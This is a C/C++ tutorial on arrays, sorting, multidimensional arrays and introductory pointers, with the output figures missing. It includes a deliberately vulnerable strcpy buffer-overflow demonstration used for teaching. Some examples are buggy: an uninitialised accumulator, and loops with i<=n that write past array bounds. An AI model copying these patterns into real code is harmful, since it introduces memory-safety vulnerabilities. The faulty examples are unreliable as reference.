{

Page 3 of 23
int i, total = 0, y[n] = {6,9,2,4,5,23,12};

for (i=0; i<n; i++)


{
//display the array contents...
cout<<y[i]<<" ";
//do the summing up...
total = total + y[i];
}
//display the result...
cout<<"\nSum of 7 numbers in an array is = "<<total<<endl;
system("pause");
return 0;
}

Output:

- You can see that the for loop is very useful when you wish to loop or iterate through every element of
an array.
- The next program example, accomplishes the same task as the previous one. By using get_total()
function, the main() passes the first memory address (pointed by the pointer) of an array, y and its
size, n to the function get_total() which then computes and returns the total, total. Note the
function prototype:

int get_total(int*, int)

- Study the program and the output.

//program to find the total values of an


//array y by passing an array to a function
//using pointer
#include <iostream.h>
#include <stdlib.h>
#define n 7

//function prototype
int get_total(int*, int);

int main()
{
int total, y[n]={6,9,2,4,5,23,12};

cout<<"\nCalling function get_total(y, n),";


cout<<"\nBy bringing along the value of y, an array";
cout<<"\nfirst address and n = 7, an array size.";
cout<<"\nAn array name, is the pointer to the";
cout<<"\n1st element of an array\n\n";

//function call, pass along the pointer to the first


//array element and the array size, and the
//return result assign to variable total
total = get_total(y, n);

cout<<"\nSum of the 7 array elements is "<<total<<endl;


system("pause");
return 0;
}

//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//do the looping for array elements...
for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...

Page 4 of 23
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}

Output:

- C++ program example compiled using g++ (for more information refers to Module000).

//**********gccarray.C or gccarray.cpp************
//************FeDoRa 3, g++ x.x.x**********
//program to find the total values of an
//array y by passing an array to a function
//using pointer
#include <iostream>
#define n 7
using namespace std;

//function prototype
int get_total(int*, int);

int main()
{
int total, y[n]={6,9,2,4,5,23,12};

cout<<"\nCalling function get_total(y, n),";


cout<<"\nBy bringing along the value of y, an array";
cout<<"\nfirst address and n = 7, an array size.";
cout<<"\nAn array name, is the pointer to the";
cout<<"\n1st element of an array\n\n";

//function call, pass along the pointer to the first


//array element and the array size, and the
//return result assign to variable total
total = get_total(y, n);

cout<<"\nSum of the 7 array elements is "<<total<<endl;


return 0;
}

//Function definition
int get_total(int *ptr, int x)
{
int i, total = 0;
//do the looping for array elements...
for(i=0; i<x; i++)
{
//displays the array content, pointed by pointer...
cout<<*(ptr+i)<<" ";
//do the summing up of the array elements...
total += *(ptr+i); //total=total + *(ptr+i);
}
//return the result to the calling program...
return total;
}

[bodo@bakawali ~]$ g++ gccarray.C -o gccarray


[bodo@bakawali ~]$ ./gccarray

Page 5 of 23
Calling function get_total(y, n),
By bringing along the value of y, an array
first address and n = 7, an array size.
An array name, is the pointer to the
1st element of an array

6 9 2 4 5 23 12
Sum of the 7 array elements is 61
[bodo@bakawali ~]$

7.5.2 Searching For A Value

- To search an array for a value, you can use a for loop within the if statement. In other words, the
program looks at each element in the array and checks if it matches the given value in the if
expression.
- The following example, finds the smallest element in the array named balance. First, it assumes that
the smallest value is in balance[0] and assigns it to the variable small.
- Then it compares small with the rest of the values in balance, one at a time.

//program to find the smallest number in an array named balance,


//simple search function
#include <iostream.h>
#include <stdlib.h>
#define n 10

int main()
{
int i;
float small, balance[n]={100.00,40.00,-30.00,400.00,60.00,-25.00,-
24.00,0.00,3.24,0.50};
small = balance[0];
//loop for displaying array content....
for(i=0; i<n; i++)
cout<<balance[i]<<" ";

//Another loop do the array element comparing...


for(i=1; i<n; i++) //check until condition i=n
{
if(small > balance[i])
small = balance[i];
}
cout<<"\nSearching..."<<endl;
//display the result...
cout<<"The smallest value in the given array is = "<<small<<endl;
system("pause");
return 0;
}

Output:

- When an element is smaller than the current value contained in small, it is assigned to small. The
process finally places the smallest array element in small.
- Study the program and the output.

1.1.1 Exchanging Values of Variables

- It is sometimes necessary to shuffle the order of the elements of an array.


- Sorting arrays calls for the values of some elements to be exchanged. It would therefore be helpful to
first learn the technique of swapping variables.
- How would you swap the values of the variables, let say, num1 and num2 (that is exchanging the value
of num1 in num2)?

Page 6 of 23
- You must use a third variable as in the following example:

//assign num1 to third_var


third_var = num1;
//then assigns num2 to num1
num1 = num2;
//finally assigns third_var to num2
num2 = third_var;

- The process can be illustrated as shown below.

1.1.2 Sorting Variables

- Sorting is defined as arranging data in a certain order, is a very common activity in data processing.
Many algorithms (techniques) are available to perform sorting.
- One sorting algorithm, which is quite simple to understand, but not necessarily the best, is given in the
following program example. It sorts a list of integers in ascending order of magnitude by using an
array.
- For more algorithms implemented using Template of STL (C++), you can refer to Tutorial #5.

//Simple sorting program that sort a list of n


//integer numbers, entered by the user (ascending)
#include <iostream.h>
#include <stdlib.h>
#define maxsize 100

int main()
{
int temp, i, j, n, list[maxsize];

cout<<"\n--You are prompted to enter your list size.--";


cout<<"\n--Then, for your list size, you are prompted to enter--";
cout<<"\n--the element of your list.--";
cout<<"\n--Finally your list will be sorted ascending!!!--\n";

//get the list size...


cout<<"\nEnter your list size: ";
cin>>n;

//prompting the data from user store in the list...


for(i=0; i<n; i++)
{
cout<<"Enter list's element #"<<i<<"-->";
cin>>list[i];
}

//do the sorting...


for(i=0; i<n-1; i++)
for(j=i+1; j<n; j++)
if(list[i] > list[j])
{
//These three lines swap the elements
//list[i] and list[j].
temp = list[i];

Page 7 of 23
list[i] = list[j];
list[j] = temp;
}
cout<<"\nSorted list, ascending: ";

for(i=0; i<n; i++)


cout<<" "<<list[i];
cout<<endl;
system("pause");
return 0;
}

Output:

1.2 Two Dimensional Arrays

- Some data fit better in a table with several rows and columns. This can be constructed by using two-
dimensional arrays.
- A two dimensional array has two subscripts/indexes. The first subscript refers to the row, and the
second, to the column. Its declaration has the following form:

data_type array_name[1st dimension size][2nd dimension size];

- For examples:

int x[3][4];
float matrix[20][25];

- The first line declares x as an integer array with 3 rows and 4 columns and the second line declares a
matrix as a floating-point array with 20 rows and 25 columns.
- Descriptively, int x[3][4] can be depicted as follows:

Page 8 of 23
- You can see that for [3][4] two-dimension array size; the total array size (the total array elements) is
equal to 12. Hence:

For n rows and m columns, the total size equal to mn

- The item list is read starting from the first row from left to right, and then goes to the next row and so
on.
- A set of string s can be stored in a two-dimensional character array with the left index specifying the
number of strings and the right index specifying the maximum length of each string.
- For example, to store a list of 3 names with a maximum length of 10 characters in each name, we can
declare:

char name[4][10];
//can store 4 names, each is 10 characters long

- Just like the one-dimensional array, a two dimensional array can also be initialized. For example, the
previous first array declaration can be rewritten along with initial assignments in any of the following
ways:

int x[3][4] = {1,2,3,4,5,6,7,8,9,10,11,12};

- Or

- The results of the initial assignments in both cases are as follows:

x[0][0]=1 x[0][1]=2 x[0][2]=3 x[0][3]=4


x[1][0]=5 x[1][1]=6 x[1][2]=7 x[1][3]=8
x[2][0]=9 x[2][1]=10 x[2][2]=11 x[2][3]=12

- Notice the same subscript for the rows and columns; it is in the diagonal line.
- You can show how the rows are filled during its initialization. For example, the array named x can be
declared as follows:

int x[3][4] = {{1,2,3,4},


{5,6,7,8},
{9,10,11,12}
};

- If the number of values given is insufficient to fill in the whole array, an initial value of zero will be
assigned to all those locations, which are not given initial values explicitly.
- For example:

Page 9 of 23
- So, an initial value of zero will be assigned to x[2][2] and x[2][3]. Similarly, in declaration:

- An initial value of zero will be assigned to x[0][3], x[1][3] and x[2][3]. You can fill the
whole array with zeroes by using:

int x[3][4]={0}; //all array elements will be 0

- In memory, despite their table-form arrangement, the elements of a two-dimensional array are stored
sequentially, that mean one after another contiguously.
- An array of string can also be initialized. For example, in the following declaration:

char name[4][10] = {"Sally", "Joyce", "Lisa", "Alice"};

- The values assigned are as follows:

name[0] = "Sally" name[1] = "Joyce"


name[2] = "Lisa" name[3] = "Alice"

- Note that the second subscript here is unnecessary and therefore omitted.

1.3 Two-Dimensional Array Manipulation

- The following example prints the 3 x 3 array’s subscript and their element.

//Printing 3x3 array's subscript and their element


#include <iostream.h>
#include <stdlib.h>
#define m 3
#define n 3

int main()
{
int i, j;
int x[m][n]={{10,25,33}, {21,32,43},{20,42,51}};

cout<<"\n3x3 arrays' subscripts and\n";


cout<<"their respective elements\n";
cout<<"--------------------------\n";

//outer for loop, reading the row by row...


for(i=0; i<m; i++)
//inner loop, for every row, read every column by column...
for(j=0; j<n; j++)
cout<<"["<<i<<"]"<<"["<<j<<"]"<<"="<<x[i][j]<<"\n";
system("pause");
return 0;
}

Output:

Page 10 of 23
- The following program example illustrates the use of two-dimensional arrays. This program calculates
the average of all the elements in the integer array named x. The program uses two nested for loops.
- The outer loop with index i provides the row subscript. The nested for loops therefore accesses each
element of the array and the inner loop with index j provides the column subscript.

//using two-dimensional array to compute the


//average of all the elements in array named x
#include <iostream.h>
#include <stdlib.h>
#define m 4
#define n 5

int main()
{
int i, j, total = 0;
//an 4x5 or [4][5] array variable...
int q[m][n]={{4,5,6,2,12},{10,25,33,22,11},
{21,32,43,54,65},{3,2,1,5,6}};

float average;

//outer for loop, read row by row...


for(i=0; i<m; i++)
//inner for loop, for every row, read column by column
for(j=0; j<n; j++)
//get the summation of the array elements.
{
//display the array...
cout<<"q["<<i<<"]["<<j<<"] = "<<q[i][j]<<endl;
total=total + q[i][j];
}
//calculate the average
//simple typecast from int to float...
average = (float)total/(float) (m*n);

cout<<"\nThis program will calculate the average of the";


cout<<"\n4 x 5 array, which means the sum of the";
cout<<"\narray's element, divide the number of the";
cout<<"\narray's element....";
cout<<"\nProcessing.... PLEASE WAIT\n";

//display the average


cout<<"Average = "<<total<<"/"<<m*n<<endl;
cout<<"\nThe Average = "<<average<<endl;
system("pause");
return 0;
}

Output:

Page 11 of 23
- Study the program and the output.
- The next example computes the square root of the sum of the squares of all the positive elements in
array named x. It uses the header file math.h since it contains the mathematical functions pow()
(for taking the power of a number) and sqrt() (for taking the square root of a number).

//program to compute the square root of the sum


//of the squares of all the elements in array x
#include <iostream.h>
#include <stdlib.h>
#include <math.h>
#define m 4
#define n 5

int main()
{
int i, j;
int x[m][n]={{4,5,6,2,12},{10,25,33,22,11},
{21,32,43,54,65},{3,2,1,5,6}};

float sum2, result;

//outer for loop, read row by row...


for(i=0; i<m; i++)
{//inner for loop, for every row, read column by column
for(j=0; j<n; j++)
{
//set some condition here to avoid divides by 0...
if(x[i][j]>0)
//do the square of the array elements and then sum up...
sum2 = sum2 + pow(x[i][j], 2);
}
//assign the result to variable result...
//do the square root of the previous result....
result = sqrt(sum2);
}

//some story and printing the result...


cout<<"\nFirst, summing up all the arrays' element";
cout<<"\nThe given array has 4 x 5 in size,\n";
cout<<"\nThe sum is = "<<sum2;
cout<<"\nNext, square root the sum\n";
cout<<"\nThe answer is = "<<result<<"\n";
system("pause");
return 0;

Page 12 of 23
}

Output:

- Study the program and the output.


- The following program example illustrates the use of three nested for loops. The program multiplies
matrix x and y and stores the resulting matrix product xy in matrix z. Both x and y must be
compatible for multiplication that means, the number of columns of x must be equal to the number of
rows of y.

//multiplication of the matrix x and matrix


//y and stores the result in matrix z
#include <iostream.h>
#include <stdlib.h>
#define m 3
#define c 2
#define n 4

int main()
{
int i, j, k;
//first matrix...
int x[m][c] = {{1,2},{3,4},{5,6}};
//second matrix...
int y[c][n] = {{7,8,9,10},{11,12,13,14}};
//for storing the matrix product result...
int z[m][n];

for(i=0; i<m; i++)


for(j=0; j<n; j++)
{
z[i][j] = 0;
for(k=0; k<c; k++)
//same as z[i][j] = z[i][j] + x[i][k] * y[k][j];
z[i][j] += x[i][k] * y[k][j];
}
cout<<"\nMultiply matrix x and matrix y,";
cout<<"\nThen store the result in matrix z.";
cout<<"\nMatrix x is 3x2, and matrix y is 2x4,";
cout<<"\nso, the result, z should be matrix 3x4\n";
cout<<"\nThe matrix product is: \n";

for (i=0; i<m; i++)


{
cout<<"\n";
for(j=0; j<n; j++)
//display the result...
cout<<" "<<z[i][j];
}
cout<<endl;
system("pause");
return 0;
}

Output:

Page 13 of 23
- Study the program and the output.

1.4 Multidimensional Arrays

- When an array has more than one dimension, we call it a multidimensional array.
- We have already looked at multidimensional arrays with two dimensions. The declaration and
manipulation of other multidimensional arrays in C/C++ are quite similar to that of the two
dimensional array.
- The declaration takes the following form:

Data_type name[size1][size2]…[sizeN];

- For example:

int y[4][5][3];

- Declares a 3-dimensional array with a depth of 4, 5 rows and 3 columns.


- The are no limitation on the dimension of the arrays, but the dimension more than two dimensional
arrays are rarely used because of the complexity and code readability.

------------------------------o0o--------------------------------
---www.tenouk.com---

Program Examples

Example #1

//Compute the sum of the elements of an array


#include <stdlib.h>
#include <stdio.h>
#define SIZE 12

int main()
{
//declare and initialize the array named a
//with size SIZE
int a[SIZE] = {1,3,5,4,7,2,99,16,45,67,89,45};
//declare two normal variables
int i, total = 0;

//do the loop for the array...


for(i = 0; i <= (SIZE-1); i++)
{
//display the array and its element...
printf("\n a[%d]= %d", i, a[i]);
//total up the array
//total = total + a[i]
total += a[i];
}

printf("\nThe sum of the array elements is %d\n", total);


system("pause");
return 0;

Page 14 of 23
Output:

Example #2

//Printing simple histogram


#include <stdio.h>
#include <stdlib.h>
#define SIZE 10

int main()
{
//declare and initialize an array named n
//with size SIZE...
int n[SIZE] = {19, 3, 15, 7, 11, 9, 13, 5, 17, 1};
int i, j;

//display the table header...


printf("%s%13s%17s\n","Element/index", "Value", "Histogram");

//do the iteration...


//outer for loop, read row by row...
for(i=0; i <= (SIZE-1); i++)
{
printf("%9d%15d ", i, n[i]);
//inner for loop, for every row, read column
//by column and print the bar...
for(j = 1; j<= n[i]; j++)
//print bar...repeat...
printf("*");
//go to new line for new row...repeats...
printf("\n");
}
system("pause");
return 0;
}

Output:

Page 15 of 23
Example #3

//Sorting an array values into ascending order


#include <stdio.h>
#include <stdlib.h>
#define SIZE 10

int main()
{
int a[SIZE] = {34,6,41,58,0,12,89,-2,45,25};
int i, pass, hold;

printf("Data items in original order\n\n");


//displaying the original array...
for(i=0; i<=SIZE - 1; i++)
printf("%d ", a[i]);

//------do the sorting...ascending-------------


//for every array elements do this...
for(pass = 1; pass <= (SIZE-1); pass++)
//for every 2 array elements comparison do
//the comparison and swap...
for(i = 0; i <= (SIZE-2); i++)
//set the condition...
if(a[i] > a[i + 1])
{
//put the a[i] in temporary variable hold...
hold = a[i];
//put the a[i + 1] in a[i]
a[i] = a[i + 1];
//put the hold in a[i + 1], one swapping is
//completed...and repeat for other elements...
a[i + 1] = hold;
}

printf("\n\nData items in ascending order\n\n");


//display the new ordered list...
for (i=0; i <= (SIZE-1); i++)
printf("%4d", a[i]);
printf("\n\n");
system("pause");
return 0;
}

Output:

- By changing the following code in the above program, recompile and re run the program. You will get
the descending order.

if(a[i] > a[i + 1]) to if(a[i] < a[i + 1])

- The following is the output.

Page 16 of 23
Example #4

//Initializing multidimensional arrays


//and function
#include <stdio.h>
#include <stdlib.h>

//function prototype
void printArray(int [][3]);

int main()
{
//declare 3 array with initial values...
int array1[2][3] = {{1,2,3}, {4,5,6}},
array2[2][3] = {{1,2,3},{4,5}},
array3[2][3] = {{1,2}, {4}};

printf("Element values in array1 by row are: \n");


//first time function call
printArray(array1);
printf("\nElement values in array2 by row are: \n");

//second time function call


printArray(array2);
printf("\nElement values in array3 by row are:\n");

//third time function call


printArray(array3);
printf("\nNOTICE THE DEFAULT VALUE 0...\n");
system("pause");
return 0;
}

//function definition, passing an array to function


void printArray(int a[][3])
{
int i, j;
//outer for loop, read row by row...
for(i = 0; i <= 1; i++)
{
//inner for loop, for every row, read column by column...
for(j=0; j<= 2; j++)
{
printf("[%d][%d] = %d ", i, j, a[i][j]);
}
printf("\n");
}
}

Output:

Page 17 of 23
Example #5

//program will sort a list of


//a strings entered by the user
#include <iostream.h>
#include <stdlib.h>
#include <string.h>

int main()
{
//declare two arrays named tname with 1-Dimension
//and name with 2-Dimension
char tname[20], name[20][20];
//normal variables...
int i, j, n;

cout<<"Enter the number of names: ";


cin>>n;
//outer loop for counter...
for(i=0; i<n; i++)
{
cout<<"\nEnter the name(one word) "<<(i+1)<<": ";
cin>>name[i];
}

//inner for loop, read row by row set outer for loop...
for(i=0; i<n-1; i++)
//innermost for loop, read column by column of the characters...
for(j = i+1; j<n; j++)
//set the condition...
//strcmp - compare the string standard library function
//do the sorting...
if(strcmp(name[i], name[j])>0)
{
//strcpy - copy the strings...
//compare and swap...
strcpy(tname, name[i]);
strcpy(name[i], name[j]);
strcpy(name[j], tname);
}
cout<<"\nSorted names:\n";
for (i =0; i<n; i++)
cout<<"\n"<<name[i];
cout<<endl;
system("pause");
return 0;
}

Sample output:

Page 18 of 23
- Program example compiled using VC++/VC++ .Net.

//Sorting array values into ascending order


#include <cstdio>
#define SIZE 10

int main()
{
int a[SIZE] = {-4,6,3,-20,0,1,77,-2,42,-10};
int i, pass, hold;

printf("Data items in original order\n\n");


//displaying the original array...
for(i=0; i<=SIZE - 1; i++)
printf("%d ", a[i]);

//------do the sorting...ascending-------------


//for every array elements do this...
for(pass = 1; pass <= (SIZE-1); pass++)
//for every 2 array elements comparison do
//the comparison and swap...
for(i = 0; i <= (SIZE-2); i++)
//set the condition...
if(a[i] > a[i + 1])
{
//put the a[i] in temporary variable hold...
hold = a[i];
//put the a[i + 1] in a[i]
a[i] = a[i + 1];
//put the hold in a[i + 1], one swapping is
//completed...and repeats for other elements...
a[i + 1] = hold;
}

printf("\n\nData items in ascending order\n\n");


//display the new ordered list...
for(i=0; i <= (SIZE-1); i++)
printf("%4d", a[i]);
printf("\n\n");
return 0;
}

Output:

Page 19 of 23
- In C++, you can use member functions, operators, and classes etc. of the <valarrary> template
based header file of the Standard Template Library (STL). It is designed for performing high-speed
mathematical operations, and optimized for computational performance.
- The class is a one-dimensional smart array that checks subscript references at run time to confirm that
they are in bound.
- Also, in C++ many array constructs and manipulations accomplished using routines in Standard
Template Library (STL). For further discussion, please refer to Tutorial #4.
- Take care also when you use arrays as buffers for storing strings (NULL terminated). Many standard
functions for string operations such as strcpy() do not do the bound checking. This will result a
buffer overflow.
- For example, consider the following program:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char *argv[])


{
//reserve 5 byte of buffer....
//should allocate 8 bytes = 2 double words,
//to overflow, need more than 8 bytes...
//so, if more than 8 characters input by user,
//there will be access violation, segmentation fault etc
char mybuffer[5];
//a prompt how to execute the program...
if(argc < 2)
{
printf("strcpy() NOT executed....\n");
printf("Syntax: %s <characters>\n", argv[0]);
exit(0);
}

//copy the user input to mybuffer...


strcpy(mybuffer, argv[1]);
printf("mybuffer content= %s\n", mybuffer);
printf("strcpy() executed...\n");
return 0;
}

- The output, when the input is: 12345678 (8 bytes), the program run smoothly.

Page 20 of 23
- When the input is: 123456789 (9 bytes), the following will be displayed when compiled with Microsoft
Visual C++ 6.0. In Linux the “Segmentation fault” message will be displayed and the program
terminates.

- The vulnerability exist because the mybuffer could be overflowed if the user input (argv[1])
bigger than 8 bytes. Why 8 bytes? For 32 bit (4 bytes) system, we must fill up a double word (32 bits)
memory.
- Character (char) size is 1 byte, so if we request buffer with 5 bytes, the system will allocate 2 double
words (8 bytes). That is why when you input more than 8 bytes, the mybuffer will be overflowed!
- The system tries to write beyond the allocated storage (memory) which may be occupied by other
important data.
- You may use safer type functions or insert some codes that do the bound checking.
- In real world, the buffer overflow vulnerabilities have been widely exploited by viruses, worms and
malicious codes.
- As a final note for this Module, the following are previous program examples compiled using gcc.

/************array3.c**************/
/*program to find the smallest number in an array named balance*/
/*simple search function*/
#include <stdio.h>
#define n 7

int main()
{
int i;
int small, balance[n];

/**loop for displaying array content....*/


for(i=0; i<=n; i++)
{
printf("Key in float value, let me ... for you: ");
scanf("%d", &balance[i]);
}

/*printing the element...*/


for(i=0; i<=n; i++)
printf("%d ", balance[i]);

small = balance[0];
/*Another loop do the array element comparing...*/
for(i=1; i<=n; i++) /*check until i=n*/
{
if(small > balance[i])
small = balance[i];
}

printf("\nComparing...");
/*display the result...*/
printf("The smallest value in the given array is = %d \n", small);
return 0;
}

[bodo@bakawali ~]$ gcc array3.c -o array3


[bodo@bakawali ~]$ ./array3

Key in float value, let me ... for you: 12


Key in float value, let me ... for you: -21
Key in float value, let me ... for you: 4
Key in float value, let me ... for you: -3
Key in float value, let me ... for you: 0
Key in float value, let me ... for you: 7
Key in float value, let me ... for you: -41

Page 21 of 23
Key in float value, let me ... for you: 3
12 -21 4 -3 0 7 -41 3
Comparing...The smallest value in the given array is = -41

/************array1.c*****************/
/*Simple sorting program that sort a list of n*/
/*integer numbers, entered by the user (ascending)*/
#include <stdio.h>
#define maxsize 100

int main()
{
int temp, i, j, n, list[maxsize];

printf("\n--You are prompted to enter your list size.--");


printf("\n--Then, for your list size, you are prompted to enter--");
printf("\n--the element of your list.--");
printf("\n--Finally your list will be sorted ascending--\n");

/*get the list size...*/


printf("\nEnter your list size: ");
scanf(" %d", &n);

/*prompting the data from user store in the list...*/


for(i=0; i<n; i++)
{
printf("Enter list's element #%d -->", i);
scanf("%d", &list[i]);
}

//do the sorting...


for(i=0; i<n-1; i++)
for(j=i+1; j<n; j++)
if(list[i] > list[j])
{
/*These three lines swap the elements*/
/*list[i] and list[j].*/
temp = list[i];
list[i] = list[j];
list[j] = temp;
}
printf("\nSorted list, ascending: ");

for(i=0; i<n; i++)


printf(" %d", list[i]);
printf("\n");
return 0;
}

[bodo@bakawali ~]$ gcc array1.c -o array1


[bodo@bakawali ~]$ ./array1

--You are prompted to enter your list size.--


--Then, for your list size, you are prompted to enter--
--the element of your list.--
--Finally your list will be sorted ascending--

Enter your list size: 10


Enter list's element #0 -->23
Enter list's element #1 -->14
Enter list's element #2 -->-21
Enter list's element #3 -->-30
Enter list's element #4 -->34
Enter list's element #5 -->25
Enter list's element #6 -->12
Enter list's element #7 -->99
Enter list's element #8 -->100
Enter list's element #9 -->73

Sorted list, ascending: -30 -21 12 14 23 25 34 73 99 100

/**********************array2.c********************/
/*Printing 3x3 array's subscript and their element*/
#include <stdio.h>
#define m 3
#define n 3

Page 22 of 23
int main()
{
int i, j;
int x[m][n];

printf("\n3x3 arrays' subscripts and\n");


printf("their respective elements\n");
printf("--------------------------\n");

for(i=0; i<m; i++)


for(j=0; j<n; j++)
{
printf("Enter int values for ur array lol!: ");
scanf("%d", &x[i][j]);
}
/*outer for loop, reading the row by row...*/
for(i=0; i<m; i++)
/*inner loop, for every row, read every column by column...*/
for(j=0; j<n; j++)
printf("x[%d][%d] = %d\n", i, j, x[i][j]);
return 0;
}

[bodo@bakawali ~]$ gcc array2.c -o array2


[bodo@bakawali ~]$ ./array2

3x3 arrays' subscripts and


their respective elements
--------------------------
Enter int values for ur array lol!: 12
Enter int values for ur array lol!: 31
Enter int values for ur array lol!: 45
Enter int values for ur array lol!: -20
Enter int values for ur array lol!: 24
Enter int values for ur array lol!: -10
Enter int values for ur array lol!: 9
Enter int values for ur array lol!: -71
Enter int values for ur array lol!: 42
x[0][0] = 12
x[0][1] = 31
x[0][2] = 45
x[1][0] = -20
x[1][1] = 24
x[1][2] = -10
x[2][0] = 9
x[2][1] = -71
x[2][2] = 42

-----------------------------------------------------o0o -----------------------------------------------------

Further reading and digging:

1. Check the best selling C/C++ books at Amazon.com.

Page 23 of 23
MODULE 8
DERIVED DATA TYPE - POINTERS
Point to here, point to there, point to that, point to this, and point to nothing!
But Oh N0000! they are just memory addresses!!

My Training Period: hours

Note: This Module may be one of the toughest topics in C/C++ that complained by students :o), although it is one
of the most important topic.

Abilities

▪ Able to understand and use pointers.


▪ Able to understand and use pointer operators.
▪ Able to understand, relate and use array and pointers.
▪ Able to understand, relate and use array, functions and pointers.
▪ Able to understand and use the main() command line arguments.
▪ Able to understand and use function pointers.
▪ Able to understand and use NULL and void pointers.
▪ Able to understand and use string and pointers.

8.1 What Is Pointers?

- Pointers provide a powerful and flexible method for manipulating data in programs.
- Some program routines can be more efficiently executed with pointers than without them, and some
routines can be performed only with pointers.
- To understand how to use pointers, a programmer must have a basic knowledge of how a computer
stores information in memory. Pointers closely relate to memory manipulation.
- Basically, a personal computer Random Access Memory (RAM) consists thousands of sequential
storage locations, with each location being identified by a unique address. Computer’s processor also
has their own memory, normally called registers and cache. They differ in term of access speed, price
and their usage.
- The memory addresses in a given computer, range from 0 to a maximum value that depends on the
amount of physical memory installed.
- Nowadays 128, 256 MB up to GB of RAM installed on the PCs are normal.
- Computer memory is used for storage, when program runs on the computer and for processing data and
instructions.
- For example, when you use Microsoft Word program, it will occupy some of the computer’s memory.
- In a very simple way, each program requires two portions of the memory that is:

1. Data portion – for data or operands.


2. The instruction code portion – what to do to the data such as operators etc.

- Each portion is referred to as a memory segment, so there is:

1. A data segment (normally called data segment).


2. An instruction code segment (normally called text segment).

- Now we just concentrate the memory storage for program data, the data segment. Details of the
memory allocation story can be found in ModuleW and ModuleZ.
- When the programmer declares a variable in a C/C++ program, the compiler sets aside a memory
location with a unique address to store that variable.
- The compiler associates that address with the variable’s name. When the program uses the variable
name, it automatically accesses the proper memory location.
- The locations address remains hidden from the programmer, and the programmer need not be
concerned with it. What we are going to do is to manipulate the memory addresses by using pointers.
- Let say we declare one variable named rate of type integer and assign an initial value as follows:

int rate = 100;

- Then the variable is stored at a specific memory address and as an illustration, can be depicted as
follows:

www.tenouk.com Page 1 of 31
Figure 8.1

- You can see, the memory address of the variable rate (or any other variable) is a number, so can be
treated like any other number in C/C++. Normally the number is in hexadecimal format.
- Then, if a variable’s memory address is known, the programmer can create a second variable for
storing a memory address of the first variable.
- From the above Figure, we can declare another variable to hold the memory address of variable rate;
let say gives it a name, s_rate (Figure 8.2).
- At the beginning, s_rate is uninitialized. So, storage has been allocated for s_rate, but its value is
undetermined, as shown below.

Figure 8.2

- Let store the memory address of variable rate, in variable s_rate, so, s_rate now contains the
memory address of rate, which indicates its storage location in memory where the actual data (100)
is stored.
- Finally, in C/C++ vocabulary, s_rate is pointing to rate or is said a pointer to rate and final
illustration is shown below.

Figure 8.3

- In simplified form:

Figure 8.4

- So the declaration of the pointer variable becomes something like this:

www.tenouk.com Page 2 of 31
int *s_rate;

- In other word, the variable s_rate contains the memory address of the variable rate and is therefore
a pointer to rate. The asterisk (*) is used to show that is it the pointer variable instead of normal
variable.
- The definition: A pointer is a variable that contains the memory address of another variable, where, the
actual data is stored.
- By using pointers, it is an efficient way of accessing and manipulating data. From user side implicitly,
it contains the actual location of your data, where the compiler can find that data in memory.
- This is very useful for dynamic and efficient memory management programming as we know memory,
registers and cache are scarce in computer system.
- Why it is very efficient way? One of the reasons is because for every computer system, it is provided
with fixed and limited amount of memory for temporary data storage and processing.
- During the usage of computers, for example, the initialization of the Operating System and running
programs (processes), there are loading and unloading data into and from the memory respectively,
including the cache memory and the processors’ registers for temporary data storage and processing.
This loading and unloading need an efficient memory management.
- Furthermore some of the memory portion of computer system also used for shared data to further
optimizes the utilization.
- Apart from primary memory, secondary memory also involved in this memory management through
swapping and paging.
- Newer computer applications such as real time processing, graphic manipulations and complex
mathematical calculations widely known for their memory intensive applications need storage
efficiency to fully utilize the scarce computer memory.
- By using pointers, the usage of this fixed storage should be optimized.
- Yes, you can add extra memory module but without the usage ‘optimization’, it is not fully utilized
somewhere, not sometime but most of the times :o).
- Familiar with the dead blue screen? Pointers also generate many bugs in programs if used improperly
or maliciously :o).

8.2 Pointers And Simple Variables

- A pointer is a numeric variable and like other variables, as you have learned before, must be declared
and initialized before it can be used.
- The following is a general form for declaring a pointer variable:

data_type *pointer_variable_name;

- For example:

char* x;
int * type_of_car;
float *value;

- data_type is any valid C/C++ type. It is the pointer base type such as char, int or float. It
indicates the type of the variable’s data to which the pointer points.
- pointer_variable_name follows the same rules as other variables naming convention and must
be unique.
- From the above pointer declaration example, in the first line, the declaration tells us that x is a pointer
to a variable of type char.
- The asterisk (*) is called indirection operator, and it indicates that x is a pointer to type char and not
a normal variable of type char. Note the position of the *, it is valid for all the three positions.
- Pointers can be declared along with non pointer variables as shown below:

char *ch1, *ch2;


// ch1 and ch2 both are pointers to type char.

float *value, percent;


// value is a pointer to type float, and percent is
// an ordinary float variable.

8.3 Initializing Pointers

www.tenouk.com Page 3 of 31
- Once a pointer is declared, the programmer must initialize the pointer, that is, make the pointer point to
something. Don’t make it point to nothing; it is dangerous.
- Like regular variables, uninitialized pointers will not cause a compiler error, but using an uninitialized
pointer could result in unpredictable and potentially disastrous outcomes.
- Until pointer holds an address of a variable, it isn’t useful.
- C/C++ uses two pointer operators:

1. Indirection operator (*) – has been explained.


2. Address-of-operator (&) – means return the address of.

- When & placed before the name of a variable, the address-of-operator returns the memory address of
the variable/operand.
- For example:

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
int *m;

int location = 200;


m = &location;

printf("The data, *m = %d\n",*m);


printf("The address where the data pointed to, m = %d\n", m);
system("pause");
return 0;
}

Output:

- Therefore a pointer must be initialized with a statement that uses & operator as shown below:

// declare a pointer variable, m of int type


int *m;
// assign the address of variable location
// to variable m, so pointer m is pointing to
// variable location
m = &location;
// the actual data assigned to variable location
location = 200;

- This statement means places the memory address of variable location into variable m. The memory
address refers to the computer’s internal location where the actual data is stored. What and where the
address, is determined by the system.
- In other word, pointer variable m receives the address of variable location or the memory address of
the variable location is assigned to pointer variable m.
- Graphically:

www.tenouk.com Page 4 of 31
Figure 8.5

- Let re-examine the indirection operator (*). Actually * is a complement of &. It means returns the
value of the variable located at the address that follows.
- From the previous example:

int *m;
m = &location;
location = 200;
q = *m;

- The q = *m; statement will place the actual data value stored in variable location into variable
q. That means q receives the actual data value stored at the memory address hold by variable m or the
value stored in the variable location pointed to by variable m. Very confused huh?
- The * operator appears before a pointer variable in only two places:

1. When declaring a pointer variable.


2. When dereferencing a pointer variable (to find the data it points to).

8.4 Using Pointers

- Only the addition and subtraction operations are permitted in expression involving pointers.
- As with any variable, a pointer may be used on the right hand side of an assignment statement to assign
